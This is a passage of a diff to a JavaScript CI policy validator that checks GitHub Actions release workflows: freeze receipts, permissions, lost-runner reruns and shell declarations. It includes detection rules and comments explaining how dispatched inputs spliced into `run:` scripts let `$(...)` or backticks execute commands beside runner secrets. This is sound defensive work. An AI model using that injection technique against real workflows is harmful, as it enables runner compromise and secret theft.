inputs.reusable_evidence_json }}", + SUPPORT_PRS_JSON: "${{ inputs.support_prs_json }}", + }, + ); + const receiptUpload = namedStep( + sourceResolve, + "Upload executable release freeze receipt", + ); + add( + violations, + receiptUpload?.if === "${{ inputs.acceptance_only }}" + && receiptUpload?.uses === "actions/upload-artifact@v7.0.1" + && object(receiptUpload.with).name + === "${{ steps.receipt.outputs.artifact_name }}" + && object(receiptUpload.with).path + === "${{ runner.temp }}/release-freeze-receipt.json" + && object(receiptUpload.with)["if-no-files-found"] === "error" + && object(receiptUpload.with)["retention-days"] === 30 + && object(sourceResolve.outputs).freeze_digest + === "${{ steps.receipt.outputs.digest }}" + && object(sourceResolve.outputs).freeze_artifact_name + === "${{ steps.receipt.outputs.artifact_name }}", + "[freeze_barrier] source acceptance must retain one immutable attempt-qualified Actions receipt", + ); + const broadFreeze = namedStep(sourceResolve, "Require executable release freeze"); + add( + violations, + broadFreeze?.if === "${{ !inputs.acceptance_only }}", + "[freeze_barrier] broad source proof must authenticate the accepted freeze", + ); + requireStepRun( + violations, + "source-proof.yml", + sourceResolve, + "Require executable release freeze", + [ + "release-freeze-barrier.mjs verify-status", + '--commit "$HEAD_SHA"', + '--tree "$tree"', + "--phase frozen_candidate", + '--receipt-digest "$FREEZE_RECEIPT_DIGEST"', + ], + ); + requireStepEnv( + violations, + "source-proof.yml", + sourceResolve, + "Require executable release freeze", + { + FREEZE_RECEIPT_DIGEST: "${{ inputs.freeze_receipt_digest }}", + HEAD_SHA: "${{ steps.resolve.outputs.ref }}", + }, + ); + add( + violations, + !scalarStrings(sourceWorkflow).some(value => value.includes("verify-pending")), + "[freeze_barrier] source proof must never accept a caller-authored pending status", + ); + const hostileJob = requireJob( + violations, + "source-proof.yml", + sourceWorkflow, + acceptance.hostile_job, + ); + add( + violations, + hostileJob.if === "inputs.acceptance_only" + && sameMembers(needs(hostileJob), ["resolve"]) + && hostileJob["runs-on"] === "ubuntu-latest" + && hostileJob["timeout-minutes"] === 5 + && namedStep(hostileJob, acceptance.hostile_step)?.["continue-on-error"] !== true, + "[freeze_barrier] source acceptance must execute the exact blocking hostile mutation job", + ); + requireStepRun( + violations, + "source-proof.yml", + hostileJob, + acceptance.hostile_step, + [ + "node --test", + ".github/scripts/check-workflow-policy.test.mjs", + ".github/scripts/release-freeze-barrier.test.mjs", + ".github/scripts/cargo-build-artifacts.test.mjs", + ".github/scripts/candidate-archive-store.test.mjs", + ], + ); + + const windowsJob = requireJob( + violations, + "source-proof.yml", + sourceWorkflow, + acceptance.windows_job, + ); + const windowsProbePowerShell + = `powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'"`; + add( + violations, + windowsJob.if === "inputs.acceptance_only" + && sameMembers(needs(windowsJob), ["resolve"]) + && sameMembers(list(windowsJob["runs-on"]), list(acceptance.windows_runner)) + && windowsJob["timeout-minutes"] === 5 + && namedStep(windowsJob, acceptance.windows_step)?.shell + === windowsProbePowerShell + && namedStep(windowsJob, acceptance.windows_step)?.["continue-on-error"] !== true, + "[freeze_barrier] source acceptance must execute the protected blocking Windows native probe", + ); + requireStepRun( + violations, + "source-proof.yml", + windowsJob, + acceptance.windows_step, + [ + "cargo new --quiet --bin", + "cargo build --release --quiet", + "node --test .github/scripts/cargo-build-artifacts.test.mjs", + "const [root, deps] = process.argv.slice(2);", + "left.dev !== right.dev", + "left.ino !== right.ino", + "left.nlink !== 2n", + "right.nlink !== 2n", + '$identityScriptPath = Join-Path $probeRoot "verify-hardlink-identity.cjs"', + "Set-Content -LiteralPath $identityScriptPath -Value $identityScript -Encoding UTF8", + "node $identityScriptPath $rootExe $depsExe", + "Elapsed.TotalSeconds -ge 90", + "Remove-Item -LiteralPath $probeRoot -Recurse -Force", + ], + ); + forbidStepRun( + violations, + "source-proof.yml", + windowsJob, + acceptance.windows_step, + [ + "node -e $identityScript", + "process.argv.slice(1)", + ], + ); + + const publisherJob = requireJob( + violations, + "source-proof.yml", + sourceWorkflow, + acceptance.publisher_job, + ); + add( + violations, + sameMembers(needs(publisherJob), [ + "resolve", + acceptance.hostile_job, + acceptance.windows_job, + ]) + && publisherJob["runs-on"] === "ubuntu-latest" + && publisherJob["timeout-minutes"] === 5 + && [ + "always()", + "inputs.acceptance_only", + `needs.${acceptance.hostile_job}.result == 'success'`, + `needs.${acceptance.windows_job}.result == 'success'`, + ].every(fragment => String(publisherJob.if ?? "").includes(fragment)), + "[freeze_barrier] acceptance publisher must depend on both exact successful mutation jobs", + ); + const receiptDownload = namedStep( + publisherJob, + "Download executable release freeze receipt", + ); + add( + violations, + receiptDownload?.uses === "actions/download-artifact@v8.0.1" + && object(receiptDownload.with).name + === "${{ needs.resolve.outputs.freeze_artifact_name }}" + && object(receiptDownload.with).path + === "${{ runner.temp }}/release-freeze-receipt" + && stepIndex(publisherJob, "Download executable release freeze receipt") + < stepIndex(publisherJob, acceptance.publisher_step), + "[freeze_barrier] acceptance publisher must download the exact Actions receipt before publication", + ); + requireStepRun( + violations, + "source-proof.yml", + publisherJob, + acceptance.publisher_step, + [ + "release-freeze-barrier.mjs verify-file", + '--receipt "$RUNNER_TEMP/release-freeze-receipt/release-freeze-receipt.json"', + '--repository "$GITHUB_REPOSITORY"', + '--commit "$HEAD_SHA"', + '--tree "$tree"', + '--run-id "$GITHUB_RUN_ID"', + '--run-attempt "$GITHUB_RUN_ATTEMPT"', + '--phase "$ACCEPTANCE_PHASE"', + 'test "$verified_digest" = "$FREEZE_RECEIPT_DIGEST"', + "repos/$GITHUB_REPOSITORY/statuses/$HEAD_SHA", + "-f state=success", + "-f \"context=codestory/release-freeze/$FREEZE_RECEIPT_DIGEST\"", + "-f \"description=tree=$tree\"", + "actions/runs/$GITHUB_RUN_ID", + ], + ); + requireStepEnv( + violations, + "source-proof.yml", + publisherJob, + acceptance.publisher_step, + { + FREEZE_RECEIPT_DIGEST: "${{ needs.resolve.outputs.freeze_digest }}", + HEAD_SHA: "${{ needs.resolve.outputs.ref }}", + ACCEPTANCE_PHASE: "${{ inputs.acceptance_phase }}", + }, + ); + + for (const file of list(freeze.coordinator_only_workflows)) { + const workflow = workflows.get(file); + add( + violations, + trigger(workflow, "workflow_call") !== undefined + && trigger(workflow, "workflow_dispatch") === undefined, + `[freeze_barrier] ${file} must be callable only through an accepted coordinator`, + ); + } + + const coordinator = workflows.get("packaged-platform-pr.yml"); + const route = requireJob(violations, "packaged-platform-pr.yml", coordinator, "route"); + add( + violations, + namedStep(route, "Require executable release freeze")?.if === undefined, + "[freeze_barrier] every packaged proof mode must authenticate the exact candidate head", + ); + requireStepRun( + violations, + "packaged-platform-pr.yml", + route, + "Require executable release freeze", + [ + "release-freeze-barrier.mjs verify-status", + '--commit "$HEAD_SHA"', + 'if [ "$RESOLVED_MODE" = calibration ]; then', + "freeze_phase=calibration_source", + "freeze_phase=frozen_candidate", + '--phase "$freeze_phase"', + '--receipt-digest "$FREEZE_RECEIPT_DIGEST"', + ], + ); + requireStepEnv( + violations, + "packaged-platform-pr.yml", + route, + "Require executable release freeze", + { + RESOLVED_MODE: "${{ steps.resolve.outputs.mode }}", + }, + ); + const packagedSourceProof = namedStep(route, "Require successful exact-head source proof"); + add( + violations, + packagedSourceProof?.if + === "steps.resolve.outputs.mode != 'integration' && steps.resolve.outputs.mode != 'calibration'", + "[freeze_barrier] calibration must precede the sole frozen-candidate source proof", + ); + requireStepRun( + violations, + "packaged-platform-pr.yml", + route, + "Require successful exact-head source proof", + [ + "actions/runs?head_sha=$HEAD_SHA", + '.event == "workflow_dispatch" and .conclusion == "success"', + '.name == "full-source-gate" and .conclusion == "success"', + ], + ); + const packagedSourceJob = requireJob( + violations, + "packaged-platform-pr.yml", + coordinator, + "source-proof", + ); + add( + violations, + permissionMapMatches(packagedSourceJob.permissions, { + actions: "write", + contents: "read", + "pull-requests": "read", + statuses: "write", + }), + "[freeze_barrier] packaged source-proof call must grant exactly the reusable workflow permissions", + ); + + const release = workflows.get("release.yml"); + const auto = workflows.get("auto-release.yml"); + add( + violations, + at(release, "concurrency", "cancel-in-progress") === true + && at(auto, "concurrency", "cancel-in-progress") === true, + "[freeze_barrier] release and auto-release must cancel superseded work", + ); + add( + violations, + object(release.permissions).statuses === undefined + && object(at(auto, "jobs", "release", "permissions")).statuses === undefined, + "[freeze_barrier] publication must reuse accepted frozen-candidate proof without an active status", + ); + const preflight = requireJob(violations, "release.yml", release, "preflight"); + requireStepRun( + violations, + "release.yml", + preflight, + "Resolve reusable prior evidence", + [ + 'release_tree="$(git rev-parse "$GITHUB_SHA^{tree}")"', + 'test "$(git rev-parse "$head_sha^{tree}")" = "$release_tree"', + 'git merge-base --is-ancestor "$head_sha" "$GITHUB_SHA"', + 'artifact_name="release-cell-prepublish-source-attempt-$run_attempt"', + ".expired == false", + 'test "$artifact_count" = 1 || continue', + "The release workflow will not start a broad proof", + "source_proof_reused=true", + ], + ); + forbidStepRun( + violations, + "release.yml", + preflight, + "Resolve reusable prior evidence", + [ + "release-freeze-barrier.mjs verify-status", + "freeze_receipt_digest", + ], + ); + const sourceJob = requireJob(violations, "release.yml", release, "source-proof"); + add( + violations, + sourceJob.if === "needs.preflight.outputs.source_proof_reused != 'true'" + && object(preflight.outputs).source_proof_reused + === "${{ steps.reuse.outputs.source_proof_reused }}" + && sourceJob.uses === undefined + && sourceJob.with === undefined + && namedStep(sourceJob, "Refuse a second source proof") !== undefined, + "[freeze_barrier] release must make the post-calibration source-proof fallback unreachable", + ); + + const lineageSource = fs.readFileSync( + path.join( + repositoryRoot, + ".github", + "scripts", + "packaged_agent_proof", + "calibration_lineage.py", + ), + "utf8", + ); + add( + violations, + lineageSource.includes("frozen_parents == [calibration_source[\"commit\"]]") + && lineageSource.includes("Any later commit revokes acceptance") + && lineageSource.includes("allow_promotion_commit"), + "[freeze_barrier] calibration lineage must require one direct constant-only child with an explicit promotion exception", + ); + return violations; +} + export function releaseWorkflowContractViolations( workflows, graph = loadReleaseClaimGraph(repositoryRoot), @@ -4087,9 +9168,13 @@ export function releaseWorkflowContractViolations( const release = workflows.get("release.yml"); for (const jobName of policy.release_chain.exact_sha_jobs) { + const job = object(at(release, "jobs", jobName)); + const exactSha = jobName === "source-proof" && job.uses === undefined + ? object(job.env).SOURCE_SHA + : object(job.with).ref; add( violations, - object(at(release, "jobs", jobName, "with")).ref === policy.promotion.exact_sha_expression, + exactSha === policy.promotion.exact_sha_expression, `[exact_sha] release.yml job ${jobName} must receive ${policy.promotion.exact_sha_expression}`, ); } @@ -4141,6 +9226,7 @@ export function releaseWorkflowContractViolations( `[proof_identity] ${file} must resolve the current head and compare its exact SHA before executing labeled work`, ); } + violations.push(...releaseFreezeBarrierWorkflowViolations(workflows, graph)); return violations; } @@ -4173,6 +9259,14 @@ function validateReleaseCellUploadOwnership(workflows, violations) { "linux-vulkan-proof.yml/packaged-vulkan/release-cell-postpublish-retrieval-linux-x64-attempt-${{ github.run_attempt }}", "linux-vulkan-proof.yml/packaged-vulkan/release-cell-prepublish-candidate-installed-linux-x64-attempt-${{ github.run_attempt }}", "post-publish-release-smoke.yml/smoke/release-cell-postpublish-${{ matrix.asset_target }}-attempt-${{ github.run_attempt }}", + // The withheld-claim producer is the one job allowed to write a cell it did not prove, and it + // owns exactly one attempt-qualified artifact per protected host and closeout phase. + "release.yml/accelerator-non-claim/release-cell-nonclaim-prepublish-macos-arm64-metal-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-postpublish-macos-arm64-metal-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-prepublish-windows-x64-vulkan-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-postpublish-windows-x64-vulkan-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-prepublish-linux-x64-vulkan-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-postpublish-linux-x64-vulkan-attempt-${{ github.run_attempt }}", ]; add( violations, @@ -4181,6 +9275,496 @@ function validateReleaseCellUploadOwnership(workflows, violations) { ); } +/// Every `${{ ... }}` in a piece of text, bounded by the `}}` that actually closes it. +/// +/// A non-greedy `/\$\{\{[\s\S]*?\}\}/` stops at the first `}}` it sees, which is not always the +/// terminator. GitHub's expression grammar puts braces inside expressions -- `fromJSON('{"a":1}')` +/// carries one, and `format('{{Hello {0}}}', ...)`, the brace escape from GitHub's own expression +/// documentation, carries a run of them. Against `${{ format('{{Hello {0}}}', inputs.ref) }}` the +/// non-greedy form returned `${{ format('{{Hello {0}}`, which names no context at all, so a rule +/// reading these spans saw a clean file and GitHub still spliced the input. Braces are counted +/// here and the span ends at the `}}` that closes the expression itself. +/// +/// Single-quoted literals are skipped whole, with `''` read as GitHub's escape for one quote, so a +/// brace inside a string cannot move the count in either direction. Text that opens an expression +/// and never closes it yields the rest of the text rather than nothing: an unreadable expression is +/// not evidence that it is harmless. +export function interpolationSpans(text) { + const source = String(text); + const spans = []; + let cursor = 0; + for (;;) { + const start = source.indexOf("${{", cursor); + if (start === -1) return spans; + let depth = 0; + let quoted = false; + let end = -1; + for (let index = start + 3; index < source.length; index += 1) { + const character = source[index]; + if (quoted) { + if (character !== "'") continue; + if (source[index + 1] === "'") index += 1; + else quoted = false; + continue; + } + if (character === "'") quoted = true; + else if (character === "{") depth += 1; + else if (character === "}") { + if (depth > 0) depth -= 1; + else if (source[index + 1] === "}") { + end = index + 2; + break; + } + } + } + if (end === -1) { + spans.push(source.slice(start)); + return spans; + } + spans.push(source.slice(start, end)); + cursor = end; + } +} + +/// Any mention of the `inputs` context, however it is spelled. GitHub serves the same dispatched +/// value under `inputs.version`, `github.event.inputs.version`, and `inputs['version']`, and an +/// expression can bury it in a function call, so this matches the context name itself rather than +/// any one path through it. `outputs` does not contain `inputs`, and a word character before it +/// (`my_inputs`) is not the context. +const namesADispatchInput = /\binputs\b/u; + +/// The contexts a dispatched value can be standing in when a script reads it one hop later. Each +/// one is a channel, not a value: nothing at the reading site says what was put into it. +/// +/// `env` -- a workflow-, job-, or step-level `env:` entry may be bound to `${{ inputs.x }}`, and +/// `${{ env.NAME }}` in a script is then the input, spliced as text. This PR alone created 117 +/// step-level `env:` bindings carrying inputs, so this is the shape the next author reaches for. +/// `steps.*.outputs.*` -- a step that receives an input can write it to `$GITHUB_OUTPUT`, and the +/// consuming `${{ steps.x.outputs.y }}` is again text. +/// `needs.*.outputs.*` -- a job output is a step output that crossed a job boundary. +/// +/// The remedy is the same one #1566 applied 117 times: bind the value in `env:` and read `$NAME`. +/// For `env` specifically it costs nothing at all -- a workflow- or job-level `env:` entry is +/// already exported into the shell, so `$NAME` is available with no new binding. +/// +/// Not claimed here: `github.*` can carry attacker-authored text (a pull request title), which is a +/// different surface with a different argument. `matrix.*` can be built from an input, which is +/// pinned where the matrix is built (`fromJSON` over a fixed set of literals) rather than here. +const launderingContexts = [ + [/\benv\b/u, "env"], + [/\bsteps\b[\s\S]*\boutputs\b/u, "a step output"], + [/\bneeds\b[\s\S]*\boutputs\b/u, "a job output"], + // For `workflow_dispatch`, `github.event` *is* the inputs container, so serialising the event + // carries every dispatched value into script text without the word `inputs` ever appearing -- + // `toJSON` preserves `$(` and backticks intact. `\bevent\b` does not match inside + // `github.event_name`, because `_` is a word character, so the ordinary trigger read is untouched. + [/\bgithub\b[\s\S]*\bevent\b/u, "the event payload"], +]; + +export function interpolatedDispatchInputs(run) { + return interpolationSpans(run).filter(expression => namesADispatchInput.test(expression)); +} + +/// Every interpolation in `run` that reaches a dispatched value, paired with why it can. +export function interpolatedInputChannels(run) { + const found = []; + for (const expression of interpolationSpans(run)) { + if (namesADispatchInput.test(expression)) { + found.push([expression, "a dispatch input"]); + continue; + } + const laundering = launderingContexts.find(([pattern]) => pattern.test(expression)); + if (laundering !== undefined) found.push([expression, laundering[1]]); + } + return found; +} + +/// Dispatched values must reach a script through `env:`, never through the script's own text. +/// +/// Expression interpolation happens before any shell exists: GitHub splices the value into the +/// `run:` body as characters, and the shell then parses the result. Double quotes do not stop +/// `$(...)` or backticks, so a dispatcher who can name the value can run commands on the runner -- +/// beside whatever `GH_TOKEN`, environment secret, or self-hosted host state that step carries. +/// `env:` is not textual: the value arrives as a variable and `"$VAR"` is inert. +/// +/// #1554 fixed this in marketplace-sync.yml and pinned the fix with `validateMarketplaceSync`, a +/// validator named after one file. That shape cannot fail on a second file no matter how many +/// times the same splice is written, and eight other workflows carried it. This rule is driven by +/// the loaded workflow set instead, so it reads whatever workflows exist at the time it runs and a +/// workflow added tomorrow is covered without anyone editing this function. +/// +/// The rule reads `run:` only. A dispatched value in an action input (`with.ref`) or an `if:` is a +/// different surface with a different argument, pinned separately where it belongs. +/// +/// Naming the `inputs` context alone was not enough. The context is only where the value is at the +/// moment the rule looks: an author who binds it into `env:` and reads `${{ env.NAME }}` one line +/// later, or writes it to `$GITHUB_OUTPUT` and reads `${{ steps.x.outputs.y }}` one step later, has +/// rebuilt #1566 with the gate green. The channels a dispatched value can be sitting in are refused +/// with it, so closing the surface does not depend on spotting where the value came from. +export function dispatchInputInterpolationViolations(workflows) { + const violations = []; + for (const [file, workflow] of workflows) { + for (const [jobId, job] of Object.entries(object(workflow.jobs))) { + for (const [index, rawStep] of list(object(job).steps).entries()) { + const step = object(rawStep); + if (typeof step.run !== "string") continue; + const named = step.name ? ` (${step.name})` : ""; + const seen = new Set(); + for (const [expression, channel] of interpolatedInputChannels(step.run)) { + if (seen.has(expression)) continue; + seen.add(expression); + violations.push( + `${file} jobs.${jobId}.steps.${index}${named} must read ${expression}` + + ` from step env, not interpolated script text: it carries ${channel}`, + ); + } + } + } + } + return violations; +} + +/// Routing a value through `env:` moves the read from GitHub's interpolator into the shell, so the +/// script stops being shell-independent the moment it does. +/// +/// `${{ env.NAME }}` is spliced before any shell exists and reads the same everywhere. `"$NAME"` is +/// a bash read; under pwsh -- the runner default on Windows -- it is the literal `$NAME` if it +/// resolves to anything at all, and the correct read is `$env:NAME`. So a step that consumes a +/// binding on a job that can land on a Windows runner has to say which shell it was written for. +/// Every affected step in this repository declares one; this keeps that true, because the failure +/// mode is a proof that silently compares against an empty string rather than an error. +export function shellDependentBindingViolations(workflows) { + const violations = []; + const bashRead = name => new RegExp(`\\$\\{?${name}\\b`, "u"); + for (const [file, workflow] of workflows) { + const workflowShell = at(workflow, "defaults", "run", "shell"); + for (const [jobId, rawJob] of Object.entries(object(workflow.jobs))) { + const job = object(rawJob); + // `runs-on` is often an expression, so the platform is not always readable here. Anything + // that is not a literal non-Windows label is treated as reaching Windows. + const label = JSON.stringify(job["runs-on"] ?? ""); + const known = /^"(ubuntu|macos)[\w.-]*"$/u.test(label); + if (known) continue; + const jobShell = at(job, "defaults", "run", "shell") ?? workflowShell; + for (const [index, rawStep] of list(job.steps).entries()) { + const step = object(rawStep); + if (typeof step.run !== "string") continue; + if ((step.shell ?? jobShell) !== undefined) continue; + const bound = Object.keys(object(step.env)) + .concat(Object.keys(object(job.env)), Object.keys(object(workflow.env))) + .filter(name => bashRead(name).test(step.run) + && !new RegExp(`\\$env:${name}\\b`, "u").test(step.run)); + if (bound.length === 0) continue; + const named = step.name ? ` (${step.name})` : ""; + violations.push( + `${file} jobs.${jobId}.steps.${index}${named} reads ${bound.sort().join(", ")}` + + " as a shell variable on a job that can run on Windows and must declare its shell", + ); + } + } + } + return violations; +} + +/// A script that absorbs its own failure has to hand that failure to something that does not. +/// +/// `continue-on-error` lives outside the script, so nothing the script's own text asserts can see +/// it, and it turns a gate's `exit 1` into advice. Putting it on plugin-static.yml's +/// `Check workflow policy` step would silence this file and its whole test suite while the run +/// still reported green -- the commands that step runs are pinned, its blocking-ness was not. +/// +/// The rule is not "gates must be blocking", because the repository has scripts that deliberately +/// are not: source-proof compiles and lints under `continue-on-error` so a later step can save the +/// cache before failing the job, and both release lanes push the marketplace catalog that way so a +/// credential problem cannot strand an already-published release. What those have and a silenced +/// gate does not is a *successor*: an `id:`, and another step that reads `steps..outcome` and +/// fails on it. So absorbing a failure is allowed exactly when the failure is still required +/// somewhere, and a step that absorbs its failure into nothing is refused. +/// +/// Scoped to `run:` steps. The optional cache restores are `uses:` steps whose miss is the normal +/// path and carries no outcome to require -- their non-blocking-ness is separately required, and +/// this rule must not contradict that. +export function absorbedFailureViolations(workflows) { + const violations = []; + const absorbs = value => value !== undefined && value !== false; + for (const [file, workflow] of workflows) { + for (const [jobId, rawJob] of Object.entries(object(workflow.jobs))) { + const job = object(rawJob); + // A job-level `continue-on-error` downgrades every step it contains at once, and the only + // thing that can still require the failure is a downstream job reading `needs..result`. + if (absorbs(job["continue-on-error"])) { + // The separately validated frozen-candidate adjunct is intentionally unclaimed and non-gating, + // including runner loss and timeout. It cannot appear in a downstream `needs` edge: + // doing so would turn optional evidence back into a closeout dependency. Its exact job + // structure, activation, protected host, cache boundary, evaluator, and outcome recorder + // are pinned by validatePackagedCoordinator and the whole-workflow digest. + const isOptionalFrozenCandidateQuality = + file === frozenCandidateQualityWorkflowRef.slice( + frozenCandidateQualityWorkflowRef.lastIndexOf("/") + 1, + ) + && jobId === "quality"; + add( + violations, + isOptionalFrozenCandidateQuality + || scalarStrings(workflow.jobs).some( + text => text.includes(`needs.${jobId}.result`), + ), + `${file} jobs.${jobId} absorbs its own failure and must have needs.${jobId}.result required`, + ); + } + const steps = list(job.steps).map(step => object(step)); + // Reading the outcome is not requiring it. `if: steps.x.outcome == 'success'` only decides + // whether the reader runs, and a skipped step is not a failed job; a reader that absorbs its + // own failure cannot fail the job on what it read either, so it just moves the same question + // one step along. A successor is therefore a blocking step that receives the outcome + // somewhere other than its own `if:` -- where a script can still `test` it and exit non-zero. + const requires = outcome => steps.some(other => { + if (absorbs(other["continue-on-error"])) return false; + const consumed = { ...other }; + delete consumed.if; + return scalarStrings(consumed).some(text => text.includes(outcome)); + }); + for (const [index, step] of steps.entries()) { + if (typeof step.run !== "string") continue; + if (!absorbs(step["continue-on-error"])) continue; + const named = step.name ? ` (${step.name})` : ""; + add( + violations, + typeof step.id === "string" && requires(`steps.${step.id}.outcome`), + `${file} jobs.${jobId}.steps.${index}${named} absorbs its own failure and must have` + + " an id whose outcome a later blocking step requires", + ); + } + } + } + return violations; +} + +const JOB_EVIDENCE_COLLECTOR = ".github/scripts/collect-actions-job-evidence.sh"; + +/// `checks: read` is the token scope that makes the lost-runner signature readable at all. +/// +/// The signature's first part is a job annotation, and GET /repos/{o}/{r}/check-runs/{id}/annotations +/// is gated on that scope. A workflow that runs the collector without it gets a 403, which the +/// collector now refuses rather than reporting as "no annotations" -- so the missing scope stops a +/// release instead of quietly making recovery impossible. This rule catches it before the release, +/// in every workflow that reaches the collector, including the reusable-workflow callers whose own +/// grant is the ceiling for everything they call. +export function annotationScopeViolations(workflows) { + const violations = []; + const grantsChecksRead = permissions => object(permissions).checks === "read"; + const collectorWorkflows = new Set(); + for (const [file, workflow] of workflows) { + for (const [jobId, job] of Object.entries(object(workflow.jobs))) { + const runsCollector = list(object(job).steps) + .some(step => String(object(step).run ?? "").includes(JOB_EVIDENCE_COLLECTOR)); + if (!runsCollector) continue; + collectorWorkflows.add(file); + // A job-level `permissions:` block replaces the workflow-level one outright, so the effective + // grant is whichever of the two the job actually has. + const effective = object(job).permissions !== undefined + ? object(job).permissions + : object(workflow).permissions; + add( + violations, + grantsChecksRead(effective), + `${file} job ${jobId} reads Actions job annotations and must grant checks: read`, + ); + } + } + for (const [file, workflow] of workflows) { + for (const [jobId, job] of Object.entries(object(workflow.jobs))) { + const uses = String(object(job).uses ?? ""); + if (!uses.startsWith("./.github/workflows/")) continue; + if (!collectorWorkflows.has(uses.slice(uses.lastIndexOf("/") + 1))) continue; + add( + violations, + grantsChecksRead(object(job).permissions), + `${file} job ${jobId} calls a workflow that reads job annotations and must pass checks: read`, + ); + } + } + add( + violations, + collectorWorkflows.size > 0, + `no workflow runs ${JOB_EVIDENCE_COLLECTOR}, so the lost-runner signature is never collected`, + ); + return violations; +} + +/// The two halves of the lost-runner contract: a bounded automatic re-dispatch, and a withheld +/// claim once that bound is spent. +/// +/// Both are places where a gate is being relaxed, so the policy pins the shapes that keep the +/// relaxation honest: the rerun names individual lost jobs instead of asking Actions to rerun every +/// failure, the recovery never waits on a human, and the withheld-claim producer decides from the +/// shared classifier rather than from "the proof job went red". +export function lostRunnerRecoveryViolations(workflows, graph) { + const violations = []; + const policy = graph.non_claim_policy; + const rerunFile = "lost-runner-rerun.yml"; + const rerun = workflows.get(rerunFile); + add( + violations, + MAXIMUM_RUN_ATTEMPTS === policy.maximum_run_attempts, + `${rerunFile} recovery bound must equal the release claim graph maximum_run_attempts`, + ); + add( + violations, + LOST_RUNNER_ANNOTATION === policy.annotation, + `${rerunFile} recovery contract must key on the annotation the release claim graph records`, + ); + if (!rerun) { + violations.push(`${rerunFile} must exist`); + } else { + const trigger = object(at(rerun, "on", "workflow_run")); + add( + violations, + includesAll(trigger.workflows, ["Auto Release", "Release"]) + && includesAll(trigger.types, ["completed"]), + `${rerunFile} must observe completed release runs`, + ); + add( + violations, + JSON.stringify(Object.entries(object(rerun.permissions)).sort()) + === JSON.stringify([["actions", "write"], ["checks", "read"], ["contents", "read"]]), + `${rerunFile} must hold only the Actions write and annotation read scopes its recovery needs`, + ); + const job = requireJob(violations, rerunFile, rerun, "rerun-lost-jobs"); + // The repository requires machine recovery: an environment on this job would put a human click + // between a dropped connection and the retry, which is the failure this workflow exists to fix. + add( + violations, + object(job).environment === undefined, + `${rerunFile} recovery must not wait on an approval environment`, + ); + add( + violations, + String(object(job).if ?? "").includes("github.event.workflow_run.conclusion == 'failure'"), + `${rerunFile} must act only on a failed release run`, + ); + requireStepRun(violations, rerunFile, job, "Collect Actions failure evidence", [ + "bash .github/scripts/collect-actions-job-evidence.sh", + ]); + requireStepRun(violations, rerunFile, job, "Plan the bounded rerun", [ + "node .github/scripts/lost-runner-recovery.mjs plan-rerun", + ]); + const dispatch = namedStep(job, "Re-dispatch only the lost jobs"); + add( + violations, + dispatch?.if === "steps.plan.outputs.rerun == 'true'", + `${rerunFile} re-dispatch must be gated on the classified recovery plan`, + ); + requireStepRun(violations, rerunFile, job, "Re-dispatch only the lost jobs", [ + "actions/jobs/$job_id/rerun", + ]); + // Re-running every failed job would sweep an assertion failure back into the queue alongside + // the lost one; the plan names ids, so the API call must be the per-job endpoint. + add( + violations, + !scalarStrings(rerun).some(value => value.includes("rerun-failed-jobs")), + `${rerunFile} must re-dispatch named lost jobs, never every failed job`, + ); + } + + const releaseFile = "release.yml"; + const release = workflows.get(releaseFile); + if (!release) return violations; + const job = requireJob(violations, releaseFile, release, "accelerator-non-claim"); + add( + violations, + sameMembers(needs(job), graph.workflow_policy.release_chain.dependencies["accelerator-non-claim"]), + `${releaseFile} non-claim dependencies must match the release claim graph`, + ); + add( + violations, + job.name === policy.producer_job_name, + `${releaseFile} non-claim job name must equal the release claim graph producer_job_name`, + ); + add( + violations, + object(job).environment === undefined, + `${releaseFile} non-claim producer must not wait on an approval environment`, + ); + add( + violations, + String(object(job).if ?? "").startsWith("always()"), + `${releaseFile} non-claim producer must observe every accelerator outcome`, + ); + requireStepRun(violations, releaseFile, job, "Collect protected accelerator job evidence", [ + "bash .github/scripts/collect-actions-job-evidence.sh", + "non_claim_policy.hosts", + ]); + requireStepRun(violations, releaseFile, job, "Decide withheld accelerator hosts", [ + "node .github/scripts/lost-runner-recovery.mjs plan-non-claim", + ]); + const recordDownload = namedStep( + job, + "Download authenticated candidate records for withheld identity", + ); + add( + violations, + recordDownload?.if === "steps.non-claim.outputs.withheld_hosts != ''" + && recordDownload?.uses === "actions/download-artifact@v8.0.1" + && hasExactKeys(object(recordDownload?.with), [ + "merge-multiple", + "path", + "pattern", + ]) + && object(recordDownload?.with).pattern + === "codestory-candidate-archive-record-*" + && object(recordDownload?.with).path + === "target/release-non-claim/candidate-records" + && object(recordDownload?.with)["merge-multiple"] === false, + `${releaseFile} non-claim producer must download only tiny authenticated candidate records`, + ); + const record = namedStep(job, "Record populated accelerator non-claims"); + add( + violations, + record?.if === "steps.non-claim.outputs.withheld_hosts != ''", + `${releaseFile} non-claim cells must be written only for hosts the classifier withheld`, + ); + requireStepRun(violations, releaseFile, job, "Record populated accelerator non-claims", [ + "scripts/codestory-release-cell-manifest.mjs withhold", + '--producer-run-attempt "$GITHUB_RUN_ATTEMPT"', + '--candidate-record "target/release-non-claim/candidate-records/codestory-candidate-archive-record-$target/candidate-archive-record.json"', + ]); + add( + violations, + !shellLiteralNormalizedText(stepRun( + job, + "Record populated accelerator non-claims", + )).includes("--archive ") + && !scalarStrings(recordDownload).some(value => + value.includes("codestory-cli-")), + `${releaseFile} non-claim producer must never transfer or read a large package archive`, + ); + // A non-claim producer that emitted evidence for a host that reported would overwrite a real + // proof, so every upload is bound to the classifier's own withheld list. Each closeout phase gets + // its own container: a phase authorizes every manifest inside the container it downloads, so a + // container mixing phases would carry a manifest that phase's producer map never selected. + for (const host of policy.hosts) { + for (const [phase, artifact] of Object.entries(host.producer_artifacts)) { + const prefix = artifact.replace("-attempt-{attempt}", ""); + const upload = [...list(job.steps)].find(step => + String(object(object(step).with).name ?? "").startsWith(prefix)); + add( + violations, + upload?.if === `contains(steps.non-claim.outputs.withheld_hosts, '${host.id}')` + && String(object(object(upload).with).path ?? "").endsWith(`/${host.id}/${phase}`), + `${releaseFile} withheld ${host.id} ${phase} cells must upload only that phase for a withheld host`, + ); + } + } + const closeout = requireJob(violations, releaseFile, release, "pre-publish-closeout"); + add( + violations, + String(object(closeout).if ?? "").includes("needs.accelerator-non-claim.result == 'success'"), + 